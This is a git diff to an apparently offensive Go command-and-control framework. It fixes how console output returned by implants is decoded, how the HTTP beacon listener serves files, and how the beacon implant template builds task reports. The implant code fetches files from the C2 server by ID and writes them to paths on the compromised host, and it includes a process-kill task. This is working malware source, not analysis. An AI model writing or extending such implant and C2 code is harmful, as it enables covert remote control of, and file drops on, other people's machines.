diff --git a/internal/c2/console_encoding.go b/internal/c2/console_encoding.go new file mode 100644 index 00000000..7ac449d1 --- /dev/null +++ b/internal/c2/console_encoding.go @@ -0,0 +1,48 @@ +package c2 + +import ( + "encoding/base64" + "strings" + "unicode/utf8" + + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" +) + +// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。 +// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。 +func NormalizeConsoleOutput(raw []byte, osTag string) string { + if len(raw) == 0 { + return "" + } + osTag = strings.ToLower(strings.TrimSpace(osTag)) + isWindows := strings.Contains(osTag, "windows") + + if utf8.Valid(raw) { + return string(raw) + } + if isWindows { + if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { + return string(out) + } + } + // 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK) + if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { + return string(out) + } + return string(raw) +} + +// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。 +func ResolveTaskResultText(plain, b64, sessionOS string) string { + if strings.TrimSpace(b64) != "" { + raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64)) + if err == nil { + return NormalizeConsoleOutput(raw, sessionOS) + } + } + if plain == "" { + return "" + } + return NormalizeConsoleOutput([]byte(plain), sessionOS) +} diff --git a/internal/c2/console_encoding_test.go b/internal/c2/console_encoding_test.go new file mode 100644 index 00000000..fb3d9697 --- /dev/null +++ b/internal/c2/console_encoding_test.go @@ -0,0 +1,51 @@ +package c2 + +import ( + "encoding/base64" + "testing" + + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" +) + +func mustGBK(t *testing.T, s string) []byte { + t.Helper() + out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s)) + if err != nil { + t.Fatal(err) + } + return out +} + +func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) { + raw := mustGBK(t, "中文测试") + got := NormalizeConsoleOutput(raw, "windows") + if got != "中文测试" { + t.Fatalf("got %q want 中文测试", got) + } +} + +func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) { + raw := []byte("hello 世界") + got := NormalizeConsoleOutput(raw, "linux") + if got != "hello 世界" { + t.Fatalf("got %q", got) + } +} + +func TestResolveTaskResultText_PrefersB64(t *testing.T) { + raw := mustGBK(t, "采购订单") + b64 := base64.StdEncoding.EncodeToString(raw) + got := ResolveTaskResultText("", b64, "windows") + if got != "采购订单" { + t.Fatalf("got %q", got) + } +} + +func TestResolveTaskResultText_PlainFallback(t *testing.T) { + raw := mustGBK(t, "测试") + got := ResolveTaskResultText(string(raw), "", "windows") + if got != "测试" { + t.Fatalf("got %q", got) + } +} diff --git a/internal/c2/listener_http.go b/internal/c2/listener_http.go index 52bf5f18..22fef328 100644 --- a/internal/c2/listener_http.go +++ b/internal/c2/listener_http.go @@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ } prefix := l.cfg.BeaconFilePath taskID := strings.TrimPrefix(r.URL.Path, prefix) + taskID = strings.TrimSuffix(taskID, ".bin") if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") { l.disguisedReject(w) return diff --git a/internal/c2/listener_http_test.go b/internal/c2/listener_http_test.go index f7109233..8db0e34f 100644 --- a/internal/c2/listener_http_test.go +++ b/internal/c2/listener_http_test.go @@ -2,10 +2,12 @@ package c2 import ( "bytes" + "encoding/base64" "encoding/json" "io" "net" "net/http" + "os" "path/filepath" "strconv" "strings" @@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) { } }) } + +func TestHTTPBeaconListener_HandleFileServe(t *testing.T) { + tmp := t.TempDir() + dbPath := filepath.Join(tmp, "c2.sqlite") + db, err := database.NewDB(dbPath, zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + lnPick, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := lnPick.Addr().(*net.TCPAddr).Port + _ = lnPick.Close() + + keyB64, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + token := "test-implant-token-file" + + lid := "l_testhttpfile01" + rec := &database.C2Listener{ + ID: lid, + Name: "t", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: port, + EncryptionKey: keyB64, + ImplantToken: token, + Status: "stopped", + ConfigJSON: `{"beacon_file_path":"/file/"}`, + CreatedAt: time.Now(), + } + if err := db.CreateC2Listener(rec); err != nil { + t.Fatal(err) + } + + store := filepath.Join(tmp, "c2store") + m := NewManager(db, zap.NewNop(), store) + m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener) + if _, err := m.StartListener(lid); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = m.StopListener(lid) }) + + fileID := "f_testfile123" + downDir := filepath.Join(store, "downstream") + if err := os.MkdirAll(downDir, 0o755); err != nil { + t.Fatal(err) + } + want := []byte("upload-payload-bytes") + if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil { + t.Fatal(err) + } + + base := "http://127.0.0.1:" + strconv.Itoa(port) + client := &http.Client{Timeout: 5 * time.Second} + + for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} { + t.Run(path, func(t *testing.T) { + req, _ := http.NewRequest(http.MethodGet, base+path, nil) + req.Header.Set("X-Implant-Token", token) + resp, err := client.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + b, _ := io.ReadAll(resp.Body) + t.Fatalf("status=%d body=%q", resp.StatusCode, b) + } + raw, err := io.ReadAll(resp.Body) + if err != nil { + t.Fatal(err) + } + plain, err := DecryptAESGCM(keyB64, string(raw)) + if err != nil { + t.Fatal(err) + } + var out struct { + FileData string `json:"file_data"` + } + if err := json.Unmarshal(plain, &out); err != nil { + t.Fatal(err) + } + got, err := base64.StdEncoding.DecodeString(out.FileData) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, want) { + t.Fatalf("got %q want %q", got, want) + } + }) + } +} diff --git a/internal/c2/manager.go b/internal/c2/manager.go index c6309e77..de2764d8 100644 --- a/internal/c2/manager.go +++ b/internal/c2/manager.go @@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error { status = string(TaskFailed) } duration := endedAt.Sub(startedAt).Milliseconds() + + sessionOS := "" + if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil { + sessionOS = sess.OS + } + resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS) + errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS) + upd := database.C2TaskUpdate{ Status: &status, - ResultText: &report.Output, - Error: &report.Error, + ResultText: &resultText, + Error: &errText, StartedAt: &startedAt, CompletedAt: &endedAt, DurationMS: &duration, @@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error { return err } t.Status = status - t.ResultText = report.Output - t.Error = report.Error + t.ResultText = resultText + t.Error = errText level := "info" msg := fmt.Sprintf("任务完成: %s", t.TaskType) diff --git a/internal/c2/payload_templates/beacon.go.tmpl b/internal/c2/payload_templates/beacon.go.tmpl index bfd3e998..3f36c901 100644 --- a/internal/c2/payload_templates/beacon.go.tmpl +++ b/internal/c2/payload_templates/beacon.go.tmpl @@ -45,6 +45,7 @@ import ( "strings" "sync" "time" + "unicode/utf8" ) // 编译期注入常量(text/template 替换) @@ -101,7 +102,9 @@ type TaskReport struct { TaskID string `json:"task_id"` Success bool `json:"success"` Output string `json:"output,omitempty"` + OutputB64 string `json:"output_b64,omitempty"` Error string `json:"error,omitempty"` + ErrorB64 string `json:"error_b64,omitempty"` BlobBase64 string `json:"blob_b64,omitempty"` BlobSuffix string `json:"blob_suffix,omitempty"` StartedAt int64 `json:"started_at"` @@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) { defer func() { tcpTaskConn = nil }() start := time.Now() output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) - report := TaskReport{ - TaskID: env.TaskID, - Success: errMsg == "", - Output: output, - Error: errMsg, - BlobBase64: blobB64, - BlobSuffix: blobSuffix, - StartedAt: start.UnixMilli(), - EndedAt: time.Now().UnixMilli(), - } + report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now()) tcpReportResult(conn, report) } @@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) { if tcpTaskConn != nil { return tcpFetchEncryptedFile(tcpTaskConn, fileID) } - url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID) + // 服务端 handleFileServe 会在 downstream/.bin 读取;URL 路径应为 /file/,勿重复 .bin + url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID) req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) @@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) { return gcm.Open(nil, nonce, ct, nil) } +func encodeReportText(s string) (plain, b64 string) { + if s == "" { + return "", "" + } + b := []byte(s) + if utf8.Valid(b) { + return s, "" + } + return "", base64.StdEncoding.EncodeToString(b) +} + +func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport { + outText, outB64 := encodeReportText(output) + errText, errB64 := encodeReportText(errMsg) + return TaskReport{ + TaskID: taskID, + Success: errMsg == "", + Output: outText, + OutputB64: outB64, + Error: errText, + ErrorB64: errB64, + BlobBase64: blobB64, + BlobSuffix: blobSuffix, + StartedAt: start.UnixMilli(), + EndedAt: end.UnixMilli(), + } +} + func handleTaskAsync(env TaskEnv) { defer func() { _ = recover() }() start := time.Now() output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) - report := TaskReport{ - TaskID: env.TaskID, - Success: errMsg == "", - Output: output, - Error: errMsg, - BlobBase64: blobB64, - BlobSuffix: blobSuffix, - StartedAt: start.UnixMilli(), - EndedAt: time.Now().UnixMilli(), - } + report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now()) reportResult(report) } @@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin return "killed", "", "", "" } +func normalizeRemotePath(p string) string { + p = strings.TrimSpace(p) + if p == "" || runtime.GOOS != "windows" { + return p + } + // 控制台可能下发 /d:/path/file(Unix 风格),Windows 需转为 d:\path\file + p = strings.ReplaceAll(p, "\\", "/") + if len(p) >= 3 && p[0] == '/' && p[2] == ':' { + p = p[1:] + } + return filepath.FromSlash(p) +} + func taskUpload(payload map[string]interface{}) (string, string, string, string) { remotePath, _ := payload["remote_path"].(string) fileID, _ := payload["file_id"].(string) if remotePath == "" || fileID == "" { return "", "", "", "remote_path or file_id empty" } + remotePath = normalizeRemotePath(remotePath) data, err := fetchC2FileByID(fileID) if err != nil { return "", "", "", err.Error() diff --git a/internal/c2/types.go b/internal/c2/types.go index 6025671b..488b524a 100644 --- a/internal/c2/types.go +++ b/internal/c2/types.go @@ -209,7 +209,9 @@ type TaskResultReport struct { TaskID string `json:"task_id"` Success bool `json:"success"` Output string `json:"output,omitempty"` + OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出 Error string `json:"error,omitempty"` + ErrorB64 string `json:"error_b64,omitempty"` BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制 BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png" StartedAt int64 `json:"started_at"`